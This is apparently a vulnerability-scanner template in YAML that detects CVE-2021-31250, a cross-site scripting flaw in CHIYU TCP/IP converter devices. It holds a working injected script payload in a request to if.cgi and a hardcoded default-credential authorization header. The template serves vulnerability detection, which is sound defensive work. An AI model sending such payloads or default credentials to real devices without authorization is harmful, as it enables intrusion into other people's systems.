51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2021-31250
|
|
|
|
info:
|
|
name: CHIYU TCP/IP Converter - Cross-Site Scripting
|
|
author: geeknik
|
|
severity: medium
|
|
description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
|
|
remediation: |
|
|
To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
|
|
reference:
|
|
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
|
|
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
|
|
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2021-31250
|
|
cwe-id: CWE-79
|
|
epss-score: 0.97079
|
|
epss-percentile: 0.99687
|
|
cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: chiyu-tech
|
|
product: bf-430_firmware
|
|
tags: cve,cve2021,chiyu,xss,iot,intrusive
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
|
|
|
|
headers:
|
|
Authorization: Basic OmFkbWlu
|
|
host-redirects: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"><script>alert({{randstr}})</script>'
|
|
|
|
# digest: 4b0a0048304602210088bf23def63fda0017fa2ad5790c512a863789258bdabfb9656a6db0aa453d7f022100bc2a166499d1a19ec85e9827264f899354fd9027231e48445972f83e5bd1ae53:922c64590222798bb761d5b6d8e72950
|